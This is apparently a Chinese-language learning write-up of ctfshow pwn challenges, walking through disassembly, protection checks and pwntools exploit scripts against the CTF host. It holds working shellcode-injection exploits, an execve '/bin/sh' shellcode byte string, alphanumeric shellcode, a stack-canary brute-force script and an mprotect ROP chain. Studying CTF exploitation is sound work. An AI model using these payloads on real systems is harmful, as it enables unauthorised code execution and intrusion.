.rodata:0000000000400F25 db 6Fh ; o
.rodata:0000000000400F26 db 76h ; v
.rodata:0000000000400F27 db 65h ; e
.rodata:0000000000400F28 db 73h ; s
.rodata:0000000000400F29 db 20h
.rodata:0000000000400F2A db 73h ; s
.rodata:0000000000400F2B db 68h ; h
.rodata:0000000000400F2C db 65h ; e
.rodata:0000000000400F2D db 6Ch ; l
.rodata:0000000000400F2E db 6Ch ; l
.rodata:0000000000400F2F db 5Fh ; _
.rodata:0000000000400F30 db 63h ; c
.rodata:0000000000400F31 db 6Fh ; o
.rodata:0000000000400F32 db 64h ; d
.rodata:0000000000400F33 db 65h ; e
.rodata:0000000000400F34 db 2Ch ; ,
.rodata:0000000000400F35 db 61h ; a
.rodata:0000000000400F36 db 6Eh ; n
.rodata:0000000000400F37 db 64h ; d
.rodata:0000000000400F38 db 20h
.rodata:0000000000400F39 db 68h ; h
.rodata:0000000000400F3A db 65h ; e
.rodata:0000000000400F3B db 72h ; r
.rodata:0000000000400F3C db 65h ; e
.rodata:0000000000400F3D db 20h
.rodata:0000000000400F3E db 69h ; i
.rodata:0000000000400F3F db 73h ; s
.rodata:0000000000400F40 db 20h
.rodata:0000000000400F41 db 61h ; a
.rodata:0000000000400F42 db 20h
.rodata:0000000000400F43 db 67h ; g
.rodata:0000000000400F44 db 69h ; i
.rodata:0000000000400F45 db 66h ; f
.rodata:0000000000400F46 db 74h ; t
.rodata:0000000000400F47 db 3Ah ; :
.rodata:0000000000400F48 db 0Fh
.rodata:0000000000400F49 db 5
.rodata:0000000000400F4A db 20h
.rodata:0000000000400F4B db 65h ; e
.rodata:0000000000400F4C db 6Eh ; n
.rodata:0000000000400F4D db 6Ah ; j
.rodata:0000000000400F4E db 6Fh ; o
.rodata:0000000000400F4F db 79h ; y
.rodata:0000000000400F50 db 20h
.rodata:0000000000400F51 db 69h ; i
.rodata:0000000000400F52 db 74h ; t
.rodata:0000000000400F53 db 21h ; !

发现为可见字符串

绕过if:

1.我们可以用可见字符串写shellcode

2.绕过 while(*a),当它遇到\x00就不检验了,我们可以使shellcode以\x00开头

利用脚本找\x00开头的汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from itertools import *
import re

for i in range(1, 3):
for j in product([p8(k) for k in range(256)], repeat=i):
payload = b"\x00" + b"".join(j)
res = disasm(payload)
if (
res != " ..."
and not re.search(r"\[\w*?\]", res)
and ".byte" not in res
):
print(res)
input()

image-20250201202914380

找到了一个’\x00\xc0’

exp:

1
2
3
4
5
6
7
from pwn import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28156)
shellcode = asm(shellcraft.sh())
payload = b'\x00\xc0'+shellcode
io.sendline(payload)
io.interactive()

ctfshow65

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No

64位,开启PIE,完全开启RELRO,Has RWX segments

ida:无法反编译,借助ai理解一下代码

汇编代码

1.jl (Jump if Less)

1
2
cmp eax, ebx
jl loc_1234

如果 eax < ebx,则跳转到 loc_1234

2.jg (Jump if Greater)

1
2
cmp eax, ebx
jg loc_1234

如果 eax > ebx,则跳转到 loc_1234

3.jle (Jump if Less or Equal)

1
2
cmp eax, ebx
jle loc_1234

如果 eax <= ebx,则跳转到 loc_1234

4.jmp (Jump)

1
jmp loc_1234

无论条件如何,都会跳转到 loc_1234

5.cmp (Compare)

1
cmp eax, ebx

比较 eaxebx 的大小,并根据结果设置标志位

6.cdqemovzx

1
2
cdqe
movzx eax, [rbp+rax+buf]

这个实在看不懂,粘一下师傅们的解释

cdqe使用eax的最高位拓展rax高32位的所有位 movzx则是按无符号数传送+扩展(16-32) EAX是32位的寄存器,而AX是EAX的低16位,AH是ax的高8位,而AL是ax的低8位大致就是将我们输入的字符串每一位进行比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
main:
push rbp
mov rbp, rsp
sub rsp, 410h
mov edx, 14h
lea rsi, aInputYouShellc
mov edi, 1
mov eax, 0
call _write
lea rax, [rbp+buf]
mov edx, 400h
mov rsi, rax
mov edi, 0
mov eax, 0
call _read
mov [rbp+var_8], eax
cmp [rbp+var_8], 0
jg short loc_11AC
mov eax, 0
jmp locret_1254

提示用户输入

使用 _write 函数向标准输出打印提示信息 "Input you Shellcode\n"

读取用户输入

使用 _read 函数从标准输入读取用户输入的数据,存储到缓冲区 buf 中。

var_8 存储了 _read 的返回值,表示实际读取的字节数。

检查输入长度

如果 var_8 > 0,表示用户输入了数据,程序跳转到 loc_11AC

如果 var_8 <= 0,表示用户没有输入任何内容,程序直接返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
loc_11AC:
mov [rbp+var_4], 0
jmp loc_123A

loc_11B8:
mov eax, [rbp+var_4]
cdqe
movzx eax, [rbp+rax+buf]
cmp al, 60h ; '`'
jle short loc_11DA
mov eax, [rbp+var_4]
cdqe
movzx eax, [rbp+rax+buf]
cmp al, 7Ah ; 'z'
jle short loc_1236
jmp loc_11DA

loc_11DA:
mov eax, [rbp+var_4]
cdqe
movzx eax, [rbp+rax+buf]
cmp al, 40h ; '@'
jle short loc_11FC
mov eax, [rbp+var_4]
cdqe
movzx eax, [rbp+rax+buf]
cmp al, 5Ah ; 'Z'
jle short loc_1236
jmp loc_11FC

loc_11FC:
mov eax, [rbp+var_4]
cdqe
movzx eax, [rbp+rax+buf]
cmp al, 2Fh ; '/'
jle short loc_121E
mov eax, [rbp+var_4]
cdqe
movzx eax, [rbp+rax+buf]
cmp al, 5Ah ; 'Z'
jle short loc_1236
jmp loc_121E

loc_121E:
lea rdi, format
mov eax, 0
call _printf
mov eax, 0
jmp locret_1254

loc_1236:
add [rbp+var_4], 1
jmp loc_123A

loc_123A:
mov eax, [rbp+var_4]
cmp eax, [rbp+var_8]
jl loc_11B8
lea rax, [rbp+buf]
call rax
mov eax, 0
locret_1254:
leave
retn

初始化索引

loc_11AC,程序将 var_4 初始化为 0

循环检查输入内容

loc_11B8,程序逐字节检查用户输入的内容:

如果字节值在 [0x2F, 0x5A][0x40, 0x5A][0x60, 0x7A] 范围内,程序继续检查下一个字节。

[0x2F, 0x5A]:/Z(包括大小写字母和一些符号)

[0x40, 0x5A]:@Z(主要是大写字母和一些符号)

[0x60, 0x7A]:反引号z(主要是小写字母和一些符号)

如果字节值不在上述范围内,程序打印 "Good,but not right" 并返回。

执行用户输入

如果所有字节都满足条件,程序会将 buf 的地址加载到寄存器 rax 中,并调用 buf。这意味着程序会尝试执行用户输入的内容

这些范围正好是ASSCII码的范围,我们可以直接将shellcode输入到buf,后面程序就会调用,但是输入的shellcode需要是可见字符string.printable

生成可见字符shellcode使用alpha3就可以生成

alpha03

1.生成shellcode

1
2
3
4
5
from pwn import *
context.arch='amd64'
sc = asm(shellcraft.sh())
with open('sc', 'bw') as f:
f.write(sc)

2.将上述代码保存成sc.py放到alpha3目录下,然后执行如下命令生成待编码的shellcode文件

1
python3 sc.py > sc

3.使用alpha3生成string.printable (这里得用 python2)

1
python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"  #这里的参数 rax 是需要填入执行 shellcode 的那个寄存器
1
shellcode='Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'

image-20250131165007290

exp:

1
2
3
4
5
6
7
from pwn import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28139)
shellcode='Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t'
payload = shellcode
io.send(payload) #注意不能用sendline换行符不在区间里
io.interactive()

ctfshow58

1
2
3
4
5
6
7
8
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

32位程序,NX保护没开,栈可以执行

ida:main函数调用了ctfshow函数

1
2
3
4
5
add     esp, 10h
sub esp, 0Ch
lea eax, [ebp+s]
push eax ; s
call ctfshow

ctfshow函数

1
2
3
4
5
int __cdecl ctfshow(char *s)
{
gets(s);
return puts(s);
}

存在gets函数栈溢出,并且gets函数写入的地址 [ebp+s] 在后面会被调用,且栈可以执行,所以我们直接写入shellcode就可以

1
2
3
4
call    _gets
add esp, 10h
sub esp, 0Ch
push [ebp+s]
1
2
3
add     esp, 10h
lea eax, [ebp+s]
call eax

exp:

1
2
3
4
5
6
7
from pwn import*
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28158)
shellcode = asm(shellcraft.sh())
payload = shellcode
io.sendline(payload)
io.interactive()

ctfshow59

这道题与上一道一样只不过是64位的,注意生成shellcode的时候需要注明架构为64位

1
2
3
4
5
6
7
from pwn import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28306)
shellcode = asm(shellcraft.sh())
payload = shellcode
io.sendline(payload)
io.interactive()

ctfshow60

1
2
3
4
5
6
7
8
9
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes

32位,NX保护没有开启,栈可以执行

ida:gets函数存在栈溢出,使用strncpy函数将对应的字符串复制到 buf2 处

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("CTFshow-pwn can u pwn me here!!");
gets(s);
strncpy(buf2, s, 100u);
printf("See you ~");
return 0;
}

我们看一下buf2所在的位置

image-20250130214540641

然后看看bss段是否可执行

image-20250130214637415

我们看到是不可执行的,但是去看了一下师傅们的wp发现是可执行的,应该是版本的问题

N316WRCUO1533QCK8HZXZW

思路:我们将shellcode写入,然后填充垃圾数据覆盖返回地址为buf2,就可以了,因为strncpy函数会将对应的字符串复制到 buf2 处,所以shellcode也会被复制到buf2

偏移为:112

ida是有问题的

image-20250130215539447

exp:

1
2
3
4
5
6
7
8
from pwn import*
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28249)
buf2 = 0x0804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(112,b'a')+p32(buf2) #使用 ljust 函数将 shellcode 字符串用a补充到长度为 112
io.sendline(payload)
io.interactive()

ctfshow61

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No

64位,NX保护关闭,栈可以执行,开启PIE保护地址随机化

ida:我们发现 printf函数将v5的地址打印出来了,我们可以将v5的地址接受保存下来,并将shellcode写入v5,再将返回地址覆盖为v5的地址就可以,但是v5到ret_addr的长度只有16字节,而shellcode要32字节,不会了,看一下师傅们的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
__int64 v5[2]; // [rsp+0h] [rbp-10h] BYREF

v5[0] = 0LL;
v5[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", v5);
puts("Maybe it's useful ! But how to use it?");
gets(v5);
return 0;
}

原来不只是长度不够,还有leave的问题

leave的作用相当于MOV SP,BP;POP BP。 因为leave指令会释放栈空间,因此我们不能使用v5后面的24字节

而且v5后的8个字节也不能存放(这里需要存放返回地址),所以我们只能将shellcode放在v5后的32字节的地方,并将返回地址改为v5后面32字节的地方

如何接受到v5的正确地址:

image-20250130223204351

我们可以看到v5的地址实在[]里

1
2
3
4
5
io.recvuntil(b'[')                        #输入流中首先接收数据直到遇到 '[' 字符为止
v5 = io.recvuntil(b']', drop=True) #再次接收直到遇到 ']' 字符为止
v5 = int(v5, 16) #将变量 v5 解析为一个十六进制的整数
#获取到的是字节串,p64()的参数是整形,要把字节串转化成整形
# 不能用hex(int(v5_addr, 16)),因为hex的结果是字符串,不能传给p64()

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28114)
shellcode = asm(shellcraft.sh())
io.recvuntil(b'[')
v5 = io.recvuntil(b']', drop=True)
v5 = int(v5, 16)
print(hex(v5)) #打印v5的十六进制表示
payload = b'a'*(0x10+0x8) #溢出到返回地址
payload += p64(v5+32) #将将返回地址改为v5后面32字节的地方
payload += shellcode #将shellcode写入到v5后面32字节的地方
io.sendline(payload)
io.interactive()

ctfshow62

1
2
3
4
5
6
7
8
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
Stripped: No

64位,NX保护关闭,栈可以执行,开启PIE保护地址随机化

ida:和上一题一样,只不过read为0x38字节(56),栈空间24,返回地址8不可用,所以最大写入的是56-24-8=24,而自动生成的shellcode是0x30,所以不够了,看了一下师傅们的wp,需要找更短的shellcode

1
shellcode =b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"   #22bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[0] = 0LL;
buf[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", buf);
puts("Maybe it's useful ! But how to use it?");
read(0, buf, 0x38uLL);
return 0;
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28286)
shellcode =b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
io.recvuntil(b'[')
v5 = io.recvuntil(b']', drop=True)
v5 = int(v5, 16)
print(hex(v5))
payload = b'a'*(0x10+0x8)
payload += p64(v5+32)
payload += shellcode
io.sendline(payload)
io.interactive()

ctfshow63

ida:和上一题一样,只不过可读入的更少了,只有0x37(55),55-24-8=23,上一题用的shellcode为22字节,还可以用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
__int64 buf[2]; // [rsp+0h] [rbp-10h] BYREF

buf[0] = 0LL;
buf[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", buf);
puts("Maybe it's useful ! But how to use it?");
read(0, buf, 0x37uLL);
return 0;
}

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28224)
shellcode =b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
io.recvuntil(b'[')
v5 = io.recvuntil(b']', drop=True)
v5 = int(v5, 16)
print(hex(v5))
payload = b'a'*(0x10+0x8)
payload += p64(v5+32)
payload += shellcode
io.sendline(payload)
io.interactive()

ctfshow64

1
2
3
4
5
6
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

32位,NX保护开启,栈不可执行

ida:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *buf; // [esp+8h] [ebp-10h]

buf = mmap(0, 0x400u, 7, 34, 0, 0);
alarm(0xAu);
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 2, 0);
puts("Some different!");
if ( read(0, buf, 0x400u) < 0 )
{
puts("Illegal entry!");
exit(1);
}
((void (*)(void))buf)();
return 0;

首先 buf = mmap(0, 0x400u, 7, 34, 0, 0)没看懂,搜了一下

1
2
3
#include <sys/mman.h>

void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
addr length prot flags fd offset
指定映射区域的起始地址(则由操作系统选择合适的地址) 映射区域的大小 决定映射区域的保护属性(设置为7可读可写可执行) 决定映射的类型和行为 文件描述符,用于指定要映射的文件 文件的偏移量,指定从文件的哪个位置开始映射

这个题将buf 将被设置为映射区域的起始地址,映射区域的大小为 0x400 字节,保护标志为7(映射的内存区域可以读、写和执行)

大小0x400,足够写入shellcode,并且可以执行

在看后面是一个if,是判断是否读取成功,如果 read 返回值小于 0,说明读取失败,并且退出程序

最后((void (*)(void))buf)()

buf 强制转换为一个函数指针类型,并且调用buf,我们将shellcode写入buf,就会被调用

exp

1
2
3
4
5
6
7
from pwn import*
context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28112)
shellcode = asm(shellcraft.sh())
payload = shellcode
io.sendline(payload)
io.interactive()

ctfshow53

(1)checksec

image-20250125213308165

发现并没有开canary保护,其实这道题只是在栈上放了一个作用与canary类似的,程序运行过程中也会比较它的值是否改变

思路:我们可以逐字节的将canary爆破出来

(2)ida代码审计

image-20250125213837949

看看Canary

image-20250125213943366

意思就是先声明了一个指针变量 stream,打开canary.txt文件,如果没有这个文件就退出,如果有使用 fread 函数从打开的文件中读取 4 个字节的数据存储在全局变量global_canary

看看ctfshow

image-20250125214349626

将global_canary赋给s1,然后是一个while循环, 使用read函数读取字符到v2中,直至遇到换行符 \n(ASCII码为10)停止,v5记录存储的个数,每当存储一次v5的值就+1,,然后使用 __isoc99_sscanf 函数将 v2 中的字符串转换为整数,并存储到 nbytes 中,nbytes为size_t 类型无符号型,当我们输入-1时候就会被解释为一个非常大的数((通常是 0xFFFFFFFF,即 size_t 类型的最大值)),所以我们可以输入-1来绕过while循环,并且可以利用第二个read进行栈溢出

最后if循环就是比较canary的值是否改变的,将s1的值与global_canary比较如果不一样输出”Error *** Stack Smashing Detected *** : Canary Value Incorrect!”并且退出,一样的话输出”Where is the flag?”

最后flag

image-20250125220303086

意思就是打开flag的文件,通过puts函数将flag的值输出

(3)思路

image-20250125220808158

先将canary逐个字节爆破出来,然后通过栈溢出返回到flag的地址就可以

1.canary爆破

爆破canary s1中储存的就是canary的值,我们可以先覆盖0x20个数据覆盖到s1,然后一个字节一个字节的去覆盖s1的值,因为只覆盖一个字节,其他的不变,通过看puts函数输出的值判断是否覆盖正确,当第一个字节正确就把他记录下来,然后爆破第二个字节时,再将第一个字节输入进去再爆破第二个字节,依次类推,这里我们可以借助脚本去爆破,粘贴一个大佬写的脚本我来解释一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
canary = b'' #定义canary
for i in range(4): #这里是两层循环,因为canary是四个字节所以外层循环4次
for j in range(0x100): #这个循环尝试所有可能的字节值(从 0x00 到 0xFF)
p = remote('pwn.challenge.ctf.show', 28179)
p.sendlineafter(b'>',b'200') #200为用户名
payload = b'a'*0x20 + canary + p8(j) #先覆盖0x20到canary,在覆盖已经试出来前几个字节canary的值,再加上 要尝试的
p.sendafter('$ ', payload)
ans = str(p.recv()) #将接收的的值转化为字符串赋值给ans
if "Canary Value Incorrect!" not in ans: #这个if循环是判断逐字节爆破的canary是否正确,我们知道错误就会输出 Canary Value Incorrect!,如果我们接收到的数据中没有Canary Value Incorrect!就证明是正确的
canary += p8(j) #将新爆破出来的值加到已经爆破出来的值的后面
print(f"NO:{i+1} {hex(j)}") #因为i是取0-3的整数,所以要+1才是canary的第几个值
break #退出循环
else:
print(f"try again! {i}:{j}")
print(f"canary: {hex(u32(canary))}") #最后将canary的值转换为32位输出出来

2.栈溢出

exp

1
2
3
4
5
6
7
8
9
10
from pwn import *
p=remote('pwn.challenge.ctf.show',28179)
canary=0x21443633 #canary上面爆破过了,我们直接输入就可以,前提是canary的值是固定的
flag=0x08048696
p.recvuntil(b'How many bytes do you want to write to the buffer?\n>')
p.sendline(b'-1') #绕过while循环,并使得可以借助read函数栈溢出
p.recvuntil(b'$ ')
pay=b'a'*0x20+p32(canary)+b'a'*(0xc+0x4)+p32(flag) #payload=覆盖到s1+canary+覆盖到返回地址+返回地址
p.sendline(pay)
p.interactive()

参考文章

ctfshowpwn 45 -> 90(已更新33)栈溢出_pwn59-CSDN博客

canary保护和pie保护的绕过_ctfshow pwn入门-CSDN博客

一、mprotect() 函数

(1)mprotect() 函数简介

在二进制漏洞利用(Pwn)中,mprotect() 函数是一个非常重要的系统调用,它用于修改内存区域的访问权限。这在漏洞利用中很有用,例如当你想要在一段原本不可执行的内存区域中执行 shellcode 时,就可以使用 mprotect() 函数将该区域的权限修改为可执行。

(2)mprotect() 函数的原型

1
2
3
#include <sys/mman.h>

int mprotect(void *addr, size_t len, int prot);

参数说明

addr len prot
修改权限的内存区域的起始地址,该地址必须是系统页大小(通常是 4096 字节)的整数倍 修改权限的内存区域的长度,单位是字节 指定新的内存访问权限

内存访问权限:

PROT_READ PROT_WRITE PROT_EXEC PROT_NONE
允许读取该内存区域 允许写入该内存区域 允许执行该内存区域中的代码 禁止对该内存区域进行任何访问

注:一般prot直接修改为7,即可读可写可执行

二、例题ctfshow49

(1)思路

我们可以通过栈溢出调用mprotect() 函数,将bss段修改为可读可写可执行,通过read函数将shellcode写入bss段,最后将返回地址改为bss段就可以

但是mprotect函数需要设置三个参数,我们要找到一个含有三个pop一个ret指令的地址,将原有的参数pop走,再写入新的参数

我们使用ROPgadge命令找到三个连续的寄存器 ROPgadget –binary pwn –only “pop|ret”

image-20250125111005854

pop_ebx_esi_ebp_ret = 0x080a019b

第一个参数:addr=0x80d8000

第二个参数:len=0x1000

第三个参数:port=7

同样read函数也需要设置三个参数

在 C 语言里,read 函数的原型如下

1
2
3
#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);

参数解释:

fd:文件描述符,用于指定从哪个文件或设备读取数据(0标准输入;1标准输出;2错误输出)

buf:指向用于存储读取数据的缓冲区的指针

count:期望读取的最大字节数

第一个参数:fd=0

第二个参数:buf=0x80d8000(bss段任意一个地址就可以)

第三个参数:count=0x1000

(2)exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import*
elf=ELF('./pwn')
context(os = 'linux', arch = 'i386', log_level = 'debug')
io = remote('pwn.challenge.ctf.show', 28134)
mprotect= elf.sym['mprotect']
read = elf.sym['read']
pop_ebx_esi_ebp_ret = 0x080a019b
shellcode = asm(shellcraft.sh()) #生成shellcode
addr=0x80d8000
buf=0x80d8000
len=0x1000
port=7
payload = b'a'*(0x12+0x4)+p32(mprotect) #将返回地址设为mprotect
payload += p32(pop_ebx_esi_ebp_ret)+p32(addr)+p32(len)+p32(port) #设置mprotect的参数
payload += p32(read) #将mprotect返回地址设为read
payload +=p32(pop_ebx_esi_ebp_ret)+p32(0)+p32(buf)+p32(len) #设置read的参数
payload +=p32(buf) #将read的返回地址设为buf(也就是shellcode)
io.sendline(payload)
io.sendline(shellcode) #将shellcode写入bss
io.interactive()
// 在最后添加